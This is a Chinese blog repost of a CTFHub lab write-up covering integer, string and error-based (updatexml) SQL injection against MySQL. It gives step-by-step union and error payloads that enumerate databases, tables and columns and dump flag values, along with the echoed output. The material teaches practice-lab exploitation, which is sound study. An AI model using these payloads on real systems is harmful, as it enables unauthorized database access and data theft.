我是靠谱客的博主 炙热草莓,最近开发中收集的这篇文章主要介绍mysql注入ctf_[ctfhub]SQL注入,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

今天在ctfhub整理了几个sql注入的解题过程,还算是比较详细的。

知识点都是比较常见的:每个题大致涉及的知识点用一张表格解释

!注:下方的 information_schema.xxxxxxxxxxxxxx皆表示 information_schema库下的表

如:schemata、tables等,不作特殊说明的都指information库下的数据表

还有此处的题是ctfhub整合好的,所以所有的数据库和表包括字段名都一样,不要偷懒。

关键字/语句/函数

解释

union select

联合查询,联合注入常用

database()

回显当前连接的数据库

version()

查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6

group_concat()

把产生的同一分组中的值用,连接,形成一个字符串

information_schema

存了很多mysql信息的数据库

information_schema.schemata

information_schema库的一个表,名为schemata

schema_name

schemata表中存储mysql所有数据库名字的字段

information_schema.tables

存了mysql所有的表

table_schema

tables表中存每个表对应的数据库名的字段

table_name

表的名字和table_schema一一对应

information_schema.columns

columns表存了所有的列的信息4

column_name

当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名)

table_name

表的名字和column_name一一对应

select updatexml(1,concat(0x7e,database(),0x7e),1);

这里注意,只在databse()处改你想要的内容即可报错回显

right(str, num)

字符串从右开始截取num个字符

left(str,num)

同理:字符串从左开始截取num个字符

substr(str,N,M)

字符串,从第N个字符开始,截取M个字符

SQL整数型注入

爆当前数据库

4 union select 3,database()

> `select * from news where id=4 union select 3,database()`

> ID: 3

> Data: sqli

efd2e289a3bdfe1ca012f09f79c3b099.png

根据information_schema.schemata爆所有的数据库

4 union select 3,group_concat(schema_name) from information_schema.schemata

select * from news where id=4 union select 3,group_concat(schema_name) from information_schema.schemata

ID: 3

Data: information_schema,mysql,performance_schema,sqli

19654b21b37f4e13429e6c44318133e8.png

根据 information_schema.tables 和 已知的数据库名sqli爆表名

4 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli"

select * from news where id=4 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli"

ID: 3

Data: news,flag

4019e8a5979b70959d7641de3b88bfed.png

知道了flag表,就去爆爆字段根据 information_schema.columns 和 flag 表名

4 union select 3,group_concat(column_name) from information_schema.columns where table_name="flag"

select * from news where id=4 union select 3,group_concat(column_name) from information_schema.columns where table_name="flag"

ID: 3

Data: flag

e05eefc1ecfceb87b69ad08c88aba5ba.png

5.知道了flag字段就好说了,直接查里面的内容吧

4 union select 3,group_concat(flag) from sqli.flag

select * from news where id=4 union select 3,group_concat(flag) from sqli.flag

ID: 3

Data: ctfhub{cf0c7df79d5f387aca776784bb5cfaebf98980f0}

b893609cea56b9ecab3e8310ef428f5c.png

SQL 字符型注入

爆列数,不过也不用爆了,因为回显就两列 :ID、DATA

3' union select database(),version() #

070ff2ea1952894d4c14064c78ca4eea.png

爆库名

3' union select database(),group_concat(schema_name) from information_schema.schemata #

回显:数据库名字sqli

select * from news where id='3' union select database(),group_concat(schema_name) from information_schema.schemata #'

ID: sqli

Data: information_schema,performance_schema,mysql,sqli

爆列名

3' union select database(),group_concat(table_name) from

information_schema.tables where table_schema='sqli' #

回显表名:flag

select * from news where id='3' union select database(),group_concat(table_name) from information_schema.tables where table_schema='sqli' #

ID: sqli

Data: news,flag

爆字段名

3' union select database(),group_concat(column_name) from

information_schema.columns where table_name='flag' #

回显字段名:flag

select * from news where id='3' union select database(),group_concat(column_name) from information_schema.columns where table_name='flag' #'

ID: sqli

Data: flag

爆字段名

3' union select database(),group_concat(flag) from sqli.flag #'

select * from news where id='' union select database(),group_concat(flag) from sqli.flag #'

ID: sqli

Data: ctfhub{4f0e4923b55e73aa9a1a5fd66fb88b13a1e9e7f2}

SQL报错注入

爆当前数据库

1 union select updatexml(1,concat(0x7e,database(),0x7e),1); #

3e1c967e45d2ea948b20262f0ff3118f.png

爆所有数据库,注意要用括号包起来那一行

1 union select updatexml(1,concat(0x7e,

(select(group_concat(schema_name))from information_schema.schemata)

,0x7e),1); #

回显所有数据库的部分,发现没有回显sqli的名字,所以肯定是回显的长度受限,之前用到过,substr,left ,mid ,和right函数

select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(schema_name))from information_schema.schemata) ,0x7e),1); #

查询错误: XPATH syntax error: '~information_schema,mysql,perfor'

注意回显得字符最大长度:32个

73c88bbb87e2f12090c89db2d6ffae2e.png

爆右边的31个字符,发现了重叠,

1 union select updatexml(1,concat(0x7e,right(

(select(group_concat(schema_name))from information_schema.schemata)

,31 ),0x7e),1); #

select * from news where id=1 union select updatexml(1,concat(0x7e, right((select(group_concat(schema_name))from information_schema.schemata) ,31) ,0x7e),1); #

查询错误: XPATH syntax error: '~a,mysql,performance_schema,sqli'

所以总共:information_schema,mysql,performance_schema,sqli四个数据库

爆表

1 union select updatexml(1,concat(0x7e,

(select(group_concat(table_name))from information_schema.tables where table_schema="sqli")

,0x7e),1); #

> `select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="sqli") ,0x7e),1); #`

> 查询错误: XPATH syntax error: '~news,flag~'

爆列名

1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag") ,0x7e),1); #

select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag") ,0x7e),1); #

查询错误: XPATH syntax error: 'flag'

爆内容

一部分flag:

1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1); #

select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1); #

查询错误: XPATH syntax error: '~ctfhub{2333ee20c980f72952ce65c4'

8629bf77396f498d1cd7145c41a71808.png

另一部分flag:

1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1); #

select * from news where id=1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1); #

查询错误: XPATH syntax error: '~80f72952ce65c494ec82b147e9940d}'

拼接flag:ctfhub{2333ee20c980f72952ce65c494ec82b147e9940d}

390cb77ffe7b173d9fced2c934ff7ef9.png

最后

以上就是炙热草莓为你收集整理的mysql注入ctf_[ctfhub]SQL注入的全部内容,希望文章能够帮你解决mysql注入ctf_[ctfhub]SQL注入所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(38)

评论列表共有 0 条评论

立即
投稿
返回
顶部